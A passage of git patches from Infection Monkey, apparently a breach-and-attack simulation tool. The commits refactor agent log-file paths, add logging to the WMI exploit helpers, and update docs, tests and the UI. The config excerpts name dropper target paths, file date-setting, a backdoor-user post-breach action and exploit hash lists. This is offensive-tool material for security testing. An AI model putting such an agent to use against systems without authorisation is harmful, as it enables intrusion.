"exploited_linux" - EXPLOITED_WINDOWS = "exploited_windows" PROPAGATED_LINUX = "propagated_linux" PROPAGATED_WINDOWS = "propagated_windows" ISLAND = "island" From 720768e25de34359713dc4bda73abc79236c86f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 14:43:10 -0500 Subject: [PATCH 0695/1110] Agent: Add debug logging to decorators in WmiTools --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 30ae59107..976e462e5 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -24,11 +24,12 @@ class AccessDeniedException(Exception): class WmiTools(object): - @staticmethod def impacket_user(func): def _wrapper(*args, **kwarg): + logger.debug("Waiting for impacket lock") with lock: + logger.debug("Acquired impacket lock") return func(*args, **kwarg) return _wrapper @@ -93,8 +94,10 @@ class WmiTools(object): def dcom_wrap(func): def _wrapper(*args, **kwarg): try: + logger.debug("Running function from dcom_wrap") return func(*args, **kwarg) finally: + logger.debug("Running dcom cleanup") WmiTools.dcom_cleanup() return _wrapper From 27e3cc6b4cf0b57c54bb2635027aee786b841f06 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 15:21:46 -0500 Subject: [PATCH 0696/1110] Agent: Add @wraps to WmiTools decorators --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 976e462e5..ab0afdb89 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -1,5 +1,6 @@ import logging import threading +from functools import wraps from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError @@ -26,6 +27,7 @@ class AccessDeniedException(Exception): class WmiTools(object): @staticmethod def impacket_user(func): + @wraps(func) def _wrapper(*args, **kwarg): logger.debug("Waiting for impacket lock") with lock: @@ -92,6 +94,7 @@ class WmiTools(object): @staticmethod def dcom_wrap(func): + @wraps(func) def _wrapper(*args, **kwarg): try: logger.debug("Running function from dcom_wrap") From d9ee377945f69b53a4821835e934ee410a061d31 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 10 Mar 2022 10:18:35 +0000 Subject: [PATCH 0697/1110] Agent: fix access denied error handling in wmi_tools.py --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index ab0afdb89..682dfee60 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -64,9 +64,13 @@ class WmiTools(object): wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) except Exception as exc: - dcom.disconnect() + try: + dcom.disconnect() + except KeyError: + # No connection to disconnect + pass - if "rpc_s_access_denied" == exc: + if "rpc_s_access_denied" == exc.error_string: raise AccessDeniedException(host, username, password, domain) raise From 3c745f697fe9d0748d56c94e90cc6243d41c35ff Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Mar 2022 16:02:36 +0100 Subject: [PATCH 0698/1110] Agent, UI: Remove internal-logging from config The config is called after the log path is set, so the logging config had no affect on the log path. --- monkey/infection_monkey/config.py | 9 ----- monkey/infection_monkey/example.conf | 4 -- monkey/infection_monkey/main.py | 6 +-- monkey/infection_monkey/monkey.py | 4 +- .../infection_monkey/utils/monkey_log_path.py | 38 +++++-------------- .../cc/services/config_schema/internal.py | 30 --------------- .../InternalConfig.js | 1 - .../monkey_configs/flat_config.json | 4 -- .../monkey_config_standard.json | 6 --- 9 files changed, 15 insertions(+), 87 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 60799e938..8feb3f3f7 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -67,15 +67,6 @@ class Configuration(object): return result - ########################### - # logging config - ########################### - - dropper_log_directory_linux = "/tmp/" - dropper_log_directory_windows = "%temp%\\" - monkey_log_directory_linux = "/tmp/" - monkey_log_directory_windows = "%temp%\\" - ########################### # dropper config ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 2aaafa728..ebadf1429 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -16,8 +16,6 @@ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_directory_linux": "/tmp/", - "dropper_log_directory_windows": "%temp%\\", "dropper_set_date": true, "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", @@ -38,8 +36,6 @@ "MSSQLFingerprint", "ElasticFinger" ], - "monkey_log_directory_windows": "%temp%\\", - "monkey_log_directory_linux": "/tmp/", "ping_scan_timeout": 10000, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 9388d5431..f3e6b0a01 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -16,7 +16,7 @@ from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey -from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path +from infection_monkey.utils.monkey_log_path import get_log_path logger = None @@ -80,10 +80,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = get_monkey_log_path() + log_path = get_log_path("agent") monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = get_dropper_log_path() + log_path = get_log_path("dropper") monkey_cls = MonkeyDrops else: return True diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 218b0e92a..0035b5cf6 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -52,7 +52,7 @@ from infection_monkey.utils.monkey_dir import ( get_monkey_dir_path, remove_monkey_dir, ) -from infection_monkey.utils.monkey_log_path import get_monkey_log_path +from infection_monkey.utils.monkey_log_path import get_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers logger = logging.getLogger(__name__) @@ -288,7 +288,7 @@ class InfectionMonkey: @staticmethod def _send_log(): - monkey_log_path = get_monkey_log_path() + monkey_log_path = get_log_path("agent") if os.path.exists(monkey_log_path): with open(monkey_log_path, "r") as f: log = f.read() diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index 3c5e7e327..bad203542 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -1,41 +1,23 @@ import os -import string import sys +import tempfile import time -from random import SystemRandom - -from infection_monkey.config import WormConfiguration +from functools import lru_cache -def get_monkey_log_path(): +@lru_cache(maxsize=None) +def get_log_path(monkey_arg: str): return ( - os.path.expandvars( - _generate_random_log_filepath(WormConfiguration.monkey_log_directory_windows, "agent") - ) + os.path.expandvars(_generate_random_log_filepath(monkey_arg)) if sys.platform == "win32" - else _generate_random_log_filepath(WormConfiguration.monkey_log_directory_linux, "agent") + else _generate_random_log_filepath(monkey_arg) ) -def get_dropper_log_path(): - return ( - os.path.expandvars( - _generate_random_log_filepath( - WormConfiguration.dropper_log_directory_windows, "dropper" - ) - ) - if sys.platform == "win32" - else _generate_random_log_filepath(WormConfiguration.dropper_log_directory_linux, "dropper") - ) - - -def _generate_random_log_filepath(log_directory: str, monkey_arg: str) -> str: - safe_random = SystemRandom() - random_string = "".join( - [safe_random.choice(string.ascii_lowercase + string.digits) for _ in range(8)] - ) +def _generate_random_log_filepath(monkey_arg: str) -> str: prefix = f"infection-monkey-{monkey_arg}-" suffix = f"-{time.strftime('%Y-%m-%d-%H-%M-%S', time.gmtime())}.log" - log_file_path = os.path.join(log_directory, prefix + random_string + suffix) - return log_file_path + _, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) + + return monkey_log_path diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index c492d7904..98ab8b95e 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -184,36 +184,6 @@ INTERNAL = { }, }, }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_directory_linux": { - "title": "Dropper log directory path on Linux", - "type": "string", - "default": "/tmp/", - "description": "The directory path of the dropper log file on Linux", - }, - "dropper_log_directory_windows": { - "title": "Dropper log directory path on Windows", - "type": "string", - "default": "%temp%\\", - "description": "The directory path of the dropper log file on Windows", - }, - "monkey_log_directory_linux": { - "title": "Monkey log directory path on Linux", - "type": "string", - "default": "/tmp/", - "description": "The directory path of the monkey log file on Linux", - }, - "monkey_log_directory_windows": { - "title": "Monkey log directory path on Windows", - "type": "string", - "default": "%temp%\\", - "description": "The directory path of the monkey log file on Windows", - }, - }, - }, "exploits": { "title": "Exploits", "type": "object", diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js index d7d13db54..42a86dbff 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InternalConfig.js @@ -5,7 +5,6 @@ import {Nav} from 'react-bootstrap'; const sectionOrder = [ 'network', 'island_server', - 'logging', 'exploits', 'dropper', 'classes', diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index d7cc0734a..1f82c5499 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -23,8 +23,6 @@ "depth": 2, "dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_log_directory_linux": "/tmp/", - "dropper_log_directory_windows": "%temp%\\", "dropper_set_date": true, "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", @@ -71,8 +69,6 @@ "keep_tunnel_open_time": 60, "local_network_scan": true, "max_depth": null, - "monkey_log_directory_linux": "/tmp/", - "monkey_log_directory_windows": "%temp%\\", "ping_scan_timeout": 1000, "post_breach_actions": [ "CommunicateAsBackdoorUser", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 447a775b6..f0c95e5b3 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -106,12 +106,6 @@ "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe" }, - "logging": { - "dropper_log_directory_linux": "/tmp/", - "dropper_log_directory_windows": "%temp%\\", - "monkey_log_directory_linux": "/tmp/", - "monkey_log_directory_windows": "%temp%\\" - }, "exploits": { "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], From 52617cfcdcdfd07b62353b94a3a53d8b564a3a64 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Mar 2022 16:22:47 +0100 Subject: [PATCH 0699/1110] Docs: Change monkey log filename --- docs/content/FAQ/_index.md | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 76fedf3a4..1725079a5 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -179,10 +179,18 @@ It's also possible to change the default log level by editing `log_level` value ### Infection Monkey agent logs -The Infection Monkey agent log file can be found in the following paths on machines where it was executed: +The Infection Monkey agent log file can be found under directories specified for temporary files on the machines where it was executed. +The list of directories that the log file can be find in are: -- Path on Linux: `/tmp/user-1563` -- Path on Windows: `%temp%\\~df1563.tmp` +1. The directory named by the TMPDIR environment variable. +2. The directory named by the TEMP environment variable. +3. The directory named by the TMP environment variable. +4. A platform-specific location: + - On Windows, the directories `C:\TEMP`, `C:\TMP`, `\TEMP`, and `\TMP`, in that order. + - On all other platforms, the directories `/tmp`, `/var/tmp`, and `/usr/tmp`, in that order. +5. As a last resort, the current working directory. + +Infection Monkey log file name is constructed to the following pattern: `infection-monkey-agent--.log` The logs contain information about the internals of the Infection Monkey agent's execution. The log will contain entries like these: @@ -206,9 +214,9 @@ The logs contain information about the internals of the Infection Monkey agent's The Infection Monkey leaves hardly any trace on the target system. It will leave: -- Log files in the following locations: - - Path on Linux: `/tmp/user-1563` - - Path on Windows: `%temp%\\~df1563.tmp` +- Log files under [directories]({{< ref "/faq/#infection-monkey-agent-logs">}}) for temporary files: + - Path on Linux: `/tmp/infection-monky-agent--.log` + - Path on Windows: `%temp%\\infection-monky-agent--.log` ### What's the Infection Monkey Agent's impact on system resources usage? From 0947e41ea99ed9bca8fd901806d7c060f1572f50 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Mar 2022 16:35:48 +0100 Subject: [PATCH 0700/1110] Changelog: Add entry for changing log file name --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7ff3116df..8978c4b5d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The process list collection system info collector to now be a post-breach action. #1697 - The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 - Log messages to contain human-readable thread names. #1766 +- The log file name to `infection-monkey-agent--.log`. #1761 ### Removed - VSFTPD exploiter. #1533 @@ -51,6 +52,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - ElasticGroovy exploiter. #1732 - T1082 attack technique report. #1754 - 32-bit agents. #1675 +- Logging config options. #1761 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 96069d3ae69a8dc35c5f7dceabcb4e8d40ea259a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 08:32:54 -0500 Subject: [PATCH 0701/1110] Agent: Wrap get_log_path() with easier to use functions --- monkey/infection_monkey/main.py | 6 +++--- monkey/infection_monkey/monkey.py | 4 ++-- monkey/infection_monkey/utils/monkey_log_path.py | 9 +++++++-- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index f3e6b0a01..d6523bbcd 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -16,7 +16,7 @@ from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey -from infection_monkey.utils.monkey_log_path import get_log_path +from infection_monkey.utils.monkey_log_path import get_agent_log_path, get_dropper_log_path logger = None @@ -80,10 +80,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = get_log_path("agent") + log_path = get_agent_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = get_log_path("dropper") + log_path = get_dropper_log_path() monkey_cls = MonkeyDrops else: return True diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0035b5cf6..a62547ebc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -52,7 +52,7 @@ from infection_monkey.utils.monkey_dir import ( get_monkey_dir_path, remove_monkey_dir, ) -from infection_monkey.utils.monkey_log_path import get_log_path +from infection_monkey.utils.monkey_log_path import get_agent_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers logger = logging.getLogger(__name__) @@ -288,7 +288,7 @@ class InfectionMonkey: @staticmethod def _send_log(): - monkey_log_path = get_log_path("agent") + monkey_log_path = get_agent_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, "r") as f: log = f.read() diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index bad203542..4708213fa 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -2,11 +2,12 @@ import os import sys import tempfile import time -from functools import lru_cache +from functools import lru_cache, partial +# Cache the result of the call so that subsequent calls always return the same result @lru_cache(maxsize=None) -def get_log_path(monkey_arg: str): +def _get_log_path(monkey_arg: str) -> str: return ( os.path.expandvars(_generate_random_log_filepath(monkey_arg)) if sys.platform == "win32" @@ -21,3 +22,7 @@ def _generate_random_log_filepath(monkey_arg: str) -> str: _, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) return monkey_log_path + + +get_agent_log_path = partial(_get_log_path, "monkey") +get_dropper_log_path = partial(_get_log_path, "dropper") From 17c3fa02b3ca7e2cfb572778bbe54c2f1e373282 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 08:42:50 -0500 Subject: [PATCH 0702/1110] Agent: Return agent/dropper log path as a Path instead of str --- monkey/infection_monkey/monkey.py | 2 +- monkey/infection_monkey/utils/monkey_log_path.py | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a62547ebc..983e2dd2b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -289,7 +289,7 @@ class InfectionMonkey: @staticmethod def _send_log(): monkey_log_path = get_agent_log_path() - if os.path.exists(monkey_log_path): + if monkey_log_path.is_file(): with open(monkey_log_path, "r") as f: log = f.read() else: diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index 4708213fa..a92891f24 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -3,12 +3,13 @@ import sys import tempfile import time from functools import lru_cache, partial +from pathlib import Path # Cache the result of the call so that subsequent calls always return the same result @lru_cache(maxsize=None) -def _get_log_path(monkey_arg: str) -> str: - return ( +def _get_log_path(monkey_arg: str) -> Path: + return Path( os.path.expandvars(_generate_random_log_filepath(monkey_arg)) if sys.platform == "win32" else _generate_random_log_filepath(monkey_arg) From 02accde812d8913ad0ea3473208258812579823d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 08:48:42 -0500 Subject: [PATCH 0703/1110] UT: Add tests for get_{agent,dropper}_log_path() --- .../utils/test_monkey_log_path.py | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py new file mode 100644 index 000000000..339b0f37a --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_monkey_log_path.py @@ -0,0 +1,28 @@ +import pytest + +from infection_monkey.utils.monkey_log_path import get_agent_log_path, get_dropper_log_path + +def delete_log_file(log_path): + if log_path.is_file(): + log_path.unlink() + + +@pytest.mark.parametrize("get_log_path", [get_agent_log_path, get_dropper_log_path]) +def test_subsequent_calls_return_same_path(get_log_path): + log_path_1 = get_log_path() + assert log_path_1.is_file() + + log_path_2 = get_log_path() + assert log_path_1 == log_path_2 + + delete_log_file(log_path_1) + + +def test_agent_dropper_paths_differ(): + agent_log_path = get_agent_log_path() + dropper_log_path = get_dropper_log_path() + + assert agent_log_path != dropper_log_path + + for log_path in [agent_log_path, dropper_log_path]: + delete_log_file(log_path) From 2d2338f1f64efa179786e1b1aa17ea79347948e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 08:56:05 -0500 Subject: [PATCH 0704/1110] Agent: Log the path of the log file to stdout --- monkey/infection_monkey/main.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index d6523bbcd..74961e0ad 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -116,6 +116,7 @@ def main(): ) logger.info(f"version: {get_version()}") + logger.info(f"writing log file to {log_path}") monkey = monkey_cls(monkey_args) From 45936c2f793397045984797a158c0f5c5e52ff41 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 08:56:34 -0500 Subject: [PATCH 0705/1110] Agent: Remove unnecessary expandvars() in _get_log_path() --- monkey/infection_monkey/utils/monkey_log_path.py | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index a92891f24..4fd418f50 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -1,5 +1,3 @@ -import os -import sys import tempfile import time from functools import lru_cache, partial @@ -9,20 +7,12 @@ from pathlib import Path # Cache the result of the call so that subsequent calls always return the same result @lru_cache(maxsize=None) def _get_log_path(monkey_arg: str) -> Path: - return Path( - os.path.expandvars(_generate_random_log_filepath(monkey_arg)) - if sys.platform == "win32" - else _generate_random_log_filepath(monkey_arg) - ) - - -def _generate_random_log_filepath(monkey_arg: str) -> str: prefix = f"infection-monkey-{monkey_arg}-" suffix = f"-{time.strftime('%Y-%m-%d-%H-%M-%S', time.gmtime())}.log" _, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) - return monkey_log_path + return Path(monkey_log_path) get_agent_log_path = partial(_get_log_path, "monkey") From 8b4d1d084e5ff2677726ea91c3c27173a65c16d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 09:11:06 -0500 Subject: [PATCH 0706/1110] Changelog: Improve message for removing log path config options --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8978c4b5d..4af0e245b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,7 +52,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - ElasticGroovy exploiter. #1732 - T1082 attack technique report. #1754 - 32-bit agents. #1675 -- Logging config options. #1761 +- Log path config options. #1761 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 452252c5c9542a6f4f3b1e1792af8a2aca397c3b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 09:23:30 -0500 Subject: [PATCH 0707/1110] Docs: Update information about agent log storage locations --- docs/content/FAQ/_index.md | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 1725079a5..1c5760549 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -179,12 +179,14 @@ It's also possible to change the default log level by editing `log_level` value ### Infection Monkey agent logs -The Infection Monkey agent log file can be found under directories specified for temporary files on the machines where it was executed. -The list of directories that the log file can be find in are: +The Infection Monkey agent log file can be found in directories specified for +temporary files on the machines where it was executed. In most cases, this will +be `/tmp` on Linux and `%temp%` on Windows. The agent searches a standard list +of directories to find an appropriate place to store the log: -1. The directory named by the TMPDIR environment variable. -2. The directory named by the TEMP environment variable. -3. The directory named by the TMP environment variable. +1. The directory named by the `TMPDIR` environment variable. +2. The directory named by the `TEMP` environment variable. +3. The directory named by the `TMP` environment variable. 4. A platform-specific location: - On Windows, the directories `C:\TEMP`, `C:\TMP`, `\TEMP`, and `\TMP`, in that order. - On all other platforms, the directories `/tmp`, `/var/tmp`, and `/usr/tmp`, in that order. @@ -214,7 +216,7 @@ The logs contain information about the internals of the Infection Monkey agent's The Infection Monkey leaves hardly any trace on the target system. It will leave: -- Log files under [directories]({{< ref "/faq/#infection-monkey-agent-logs">}}) for temporary files: +- Log files in [temporary directories]({{< ref "/faq/#infection-monkey-agent-logs">}}): - Path on Linux: `/tmp/infection-monky-agent--.log` - Path on Windows: `%temp%\\infection-monky-agent--.log` From 2c74967d712c1c540f64d7ad56cb73ab28a169f9 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 10 Mar 2022 14:56:39 +0000 Subject: [PATCH 0708/1110] UI: fix exploit timeline bug in map page Fixes #1769 --- .../cc/ui/src/components/map/preview-pane/PreviewPane.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 1007e2061..3e0cd625a 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -111,7 +111,6 @@ class PreviewPaneComponent extends AuthComponent { if (asset.exploits.length === 0) { return (
    ); } - return (

    @@ -121,7 +120,7 @@ class PreviewPaneComponent extends AuthComponent {
      {asset.exploits.map(exploit =>
    • -
      +
      {new Date(exploit.timestamp).toLocaleString()}
      {exploit.origin}
      {exploit.exploiter}
      From 302718c4d4abbc1ffe8a1cf1071483d5c4e9cd8b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 10 Mar 2022 16:05:31 +0100 Subject: [PATCH 0709/1110] Agent: Change monkey log argument to 'agent' --- monkey/infection_monkey/utils/monkey_log_path.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index 4fd418f50..ef9be4454 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -15,5 +15,5 @@ def _get_log_path(monkey_arg: str) -> Path: return Path(monkey_log_path) -get_agent_log_path = partial(_get_log_path, "monkey") +get_agent_log_path = partial(_get_log_path, "agent") get_dropper_log_path = partial(_get_log_path, "dropper") From dd2168e8383edaab3b8b436437338f0f08b2368e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 12:00:27 -0500 Subject: [PATCH 0710/1110] Agent: Log exception information on dcom.disconnect() key error --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 682dfee60..5b21d2d9f 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -67,8 +67,7 @@ class WmiTools(object): try: dcom.disconnect() except KeyError: - # No connection to disconnect - pass + logger.exception("Disconnecting the DCOMConnection failed") if "rpc_s_access_denied" == exc.error_string: raise AccessDeniedException(host, username, password, domain) From 527c43a3f868b1f8143c730a52d99d9be5a96b4d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Mar 2022 20:37:35 -0500 Subject: [PATCH 0711/1110] Agent: Add leading zero to single digits in worker thread names --- monkey/infection_monkey/utils/threading.py | 2 +- .../infection_monkey/utils/test_threading.py | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index 70f48bbe9..e383a2ee9 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -15,7 +15,7 @@ def run_worker_threads( worker_threads = [] counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) for i in range(0, num_workers): - name = f"{name_prefix}-{next(counter)}" + name = f"{name_prefix}-{next(counter):02d}" t = create_daemon_thread(target=target, name=name, args=args) t.start() worker_threads.append(t) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 915099f04..6d1e759c8 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -66,10 +66,10 @@ def test_worker_thread_names(): run_worker_threads(target=add_thread_name_to_list, name_prefix="B", num_workers=2) run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) - assert "A-1" in thread_names - assert "A-2" in thread_names - assert "A-3" in thread_names - assert "A-4" in thread_names - assert "B-1" in thread_names - assert "B-2" in thread_names + assert "A-01" in thread_names + assert "A-02" in thread_names + assert "A-03" in thread_names + assert "A-04" in thread_names + assert "B-01" in thread_names + assert "B-02" in thread_names assert len(thread_names) == 6 From 11f48a95be5516eff969078b0f52a5c69eab9e93 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 10 Mar 2022 16:24:37 +0530 Subject: [PATCH 0712/1110] Island: Fix mongo query in report generation for exploits --- monkey/monkey_island/cc/services/reporting/report.py | 2 +- 1 file changed, 1 